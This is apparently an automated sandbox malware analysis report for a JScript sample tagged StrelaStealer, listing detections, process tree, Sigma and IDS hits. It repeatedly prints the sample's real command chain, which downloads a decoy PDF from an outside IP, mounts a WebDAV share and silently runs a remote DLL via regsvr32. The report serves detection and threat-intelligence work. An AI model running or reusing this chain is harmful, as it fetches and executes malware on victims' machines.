Edit tour

Windows Analysis Report
16433207582849010802.js

Overview

General Information

Sample name:	16433207582849010802.js
Analysis ID:	1588525
MD5:	983505ddfb23346cf685b5125a123d7d
SHA1:	9a3a1d2debad308278be536889b15fa61fdbaaf6
SHA256:	15b3313f60aa4dfd23b3db0ea983b8686a4df9d4486b0d52ca453c15d04bced5
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3668 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 320 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1276 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 432 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6448 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7204 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1744,i,11788322712337873979,12404227465735840638,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3364 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6436 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5560 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3668	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 320, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1276, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 320, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1276, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js", ProcessId: 3668, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6436, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3668, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 320, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3668, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 320, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3668, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 320, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3668, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 320, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3668, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 320, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js", ProcessId: 3668, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 320, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1276, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3364, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6436, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5560, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3364, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6436, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\16433207582849010802.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3668, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25060233869241.dll, ProcessId: 320, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:04:53.097911+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:04:55.455063+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:04:53.097911+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 16433207582849010802.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 16433207582849010802.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 16433207582849010802.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:04:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 